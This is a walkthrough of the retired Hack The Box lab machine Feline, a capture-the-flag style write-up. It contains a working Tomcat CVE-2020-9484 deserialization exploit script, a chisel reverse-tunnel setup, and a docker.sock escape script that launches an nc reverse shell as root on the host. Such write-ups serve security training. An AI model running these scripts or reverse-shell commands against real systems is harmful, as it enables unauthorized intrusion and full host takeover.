This post documents the complete walkthrough of Feline, a retired vulnerable VM created by MinatoTW and MrR3boot, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post


Feline is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 --rate=500

Starting masscan 1.0.5 ( at 2020-08-30 07:25:31 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 8080/tcp on
Discovered open port 22/tcp on

Nothing extraordinary. Let’s do one better with nmap scanning the discovered ports to establish their services.

# nmap -n -v -Pn -p22,8080 -A --reason -oN nmap.txt
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http    syn-ack ttl 63 Apache Tomcat 9.0.27
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: VirusBucket

VirusBucket? Sure sounds interesting. This is what it looks like.

VirusBucket Malware Analysis Service

There’s an interesting service that VirusBucket provides—malware analysis.

Apache Tomcat 9.x vulnerabilities

The good thing about Apache is that they are very open with the vulnerabilities in their products. And since we have a Tomcat 9.0.27 here, it’s logical to look for vulnerabilities that will grant us remote code execution from 9.0.29 onward.

CVE-2020-1938: AJP Request Injection and potential Remote Code Execution

Right off the bat, I set my sights on CVE-2020-1938 only to realize that the AJP Connector via 8009/tcp is not enabled.

CVE-2020-9484: Remote Code Execution via session persistence

Fret not. The next vulnerability CVE-2020-9484 seems like a good fit. We can control the contents and name of the file uploaded, since it’s a malware analysis service (it has to accept all kind of files). One small problem though, we don’t know the location of where the files are uploaded to and whether the combination of PersistentManager and FileStore is used.

One of the best samples to test a malware analysis service is to use the EICAR sample.


Let’s upload the sample through Burp proxy.

There you have it. Meanwhile at Burp, we get to look closer at the POST request.

And the POST response.

Sending the request to Burp’s Repeater is where we can truly test the various parameters. Putting on my developer’s hat, a thought came to me. What if we omit the filename, maybe Java will spit out some information about not finding the file? Let’s give it a shot.

Here’s the request.

And here’s the response.

Awesome. We now know what the files are stored but we still don’t know if PersistentManager and FileStore are used.


The only write-up on CVE-2020-9484 that I could find is a blog post by Red Timmy Security. My exploit is heavily based on the write-up. The only assumption is that PersistentManager and FileStore are used, and that each uploaded sample is associated with a session and that session is saved on disk.

The exploit comes in a form of a shell script, driven by curl and ysoserial. I already had ysoserial.jar built and the command ysoserial mapped as follows:


java -jar $YSOSERIAL "[email protected]"

Here’s my exploit

PAYLOAD=$(mktemp -u)

ysoserial CommonsCollections4 "$CMD" > ${PAYLOAD}.session

curl -s \
     -F "[email protected]${PAYLOAD}.session" \
     -o /dev/null \

curl -s \
     -b "JSESSIONID=../../../../../opt/samples/uploads/$(basename $PAYLOAD)" \
     -o /dev/null \

rm -rf ${PAYLOAD}.session

Let’s have the exploit script download a copy of nc with the -e switch, make it executable and then run a reverse shell back to us.

The file user.txt is at tomcat’s home directory.

Privilege Escalation

During enumeration of tomcat’s account, I notice the following listening ports.

Ports 4505/tcp and 4506/tcp suggests the presence of a Salt Master. If I had to guess, I would say that the Salt Master is actually a docker container because I didn’t find any SaltStack installation in VirusBucket.

CVE-2020-11651 - Authentication bypass vulnerabilities

SaltStack 3000.1 is susceptible to an authentication bypass vulnerability that allows an unauthenticated attacker to connect to the “request server” port (4506/tcp) to control and publish arbitrary control messages, read and write files anywhere on the “master” server filesystem and steal the secret key used to authenticate to the master as root.

In short, we can exploit CVE-2020-11651 to gain access to the docker container. A proof-of-concept exploit can be easily found by googling ““CVE-2020-11651 exploit”.

But first, we need to forward 4506/tcp to our attacking machine. This is achieved with chisel in the absence of SSH access. Trust me, I’ve tried to create /home/tomcat/.ssh/authorized_keys but was denied write access to tomcat’s own home directory. :laughing:

Set up chisel server at your attacking machine

# chisel server -p 9999 --reverse

Download chisel to VirusBucket and forward 4506/tcp to your machine

$ ./chisel client R:4506: &

Similarly, the plan is to download a copy of nc with the -e switch to the docker container, make it executable and then run a reverse shell back to us.

Meanwhile at my nc listener…

The docker container is indeed the Salt Master.

The danger of an exposed docker.sock

During enumeration of the docker container, I found the presence of the docker socket.

Notice the 118? That’s the docker group of the host operating system.

This article talks a great deal about the danger of exposing docker.sock but to me what stood out as the most important aspect was this,

Don’t forget to add chroot /hostos if you want to run the command against the Host OS.

Armed with this insight and reference to the Docker Engine API, we could create and start a container by virtue of having an exposed docker.sock.

List Images

# curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
    "Containers": -1,
    "Created": 1590787186,
    "Id": "sha256:a24bb4013296f61e89ba57005a7b3e52274d8edd3ae2077d04395f806b63d83e",
    "Labels": null,
    "ParentId": "",
    "RepoDigests": null,
    "RepoTags": [
    "SharedSize": -1,
    "Size": 5574537,
    "VirtualSize": 5574537
    "Containers": -1,
    "Created": 1588544489,
    "Id": "sha256:188a2704d8b01d4591334d8b5ed86892f56bfe1c68bee828edc2998fb015b9e9",
    "Labels": null,
    "ParentId": "",
    "RepoDigests": [
    "RepoTags": [
    "SharedSize": -1,
    "Size": 1056679100,
    "VirtualSize": 1056679100

Looks like we already have an image (sandbox:latest) to work with. To facilitate things a little bit, I wrote the following script meant for execution in the container.

CMD="/dev/shm/nc 4444 -e /bin/bash"
PAYLOAD="[\"/bin/sh\",\"-c\",\"chroot /mnt sh -c \\\"$CMD\\\"\"]"
RESPONSE=$(curl -s \
                -XPOST \
                --unix-socket /var/run/docker.sock \
                -d "{\"Image\":\"sandbox\",\"Cmd\":$PAYLOAD, \"Binds\": [\"/:/mnt:rw\"]}" \
                -H 'Content-Type: application/json' \
CID=$(cut -d'"' -f4 <<<"$RESPONSE")

# start the container
curl -s \
     -XPOST \
     --unix-socket /var/run/docker.sock \

Copy nc to /dev/shm for the script to work. It shouldn’t matter but I think there’s a cron job to delete tmpfs contents and that includes /dev/shm as well. :smirk:

You know the end is near when you see this.

Indeed. The cron job I spoke about earlier.

The file root.txt is at root’s home directory of course.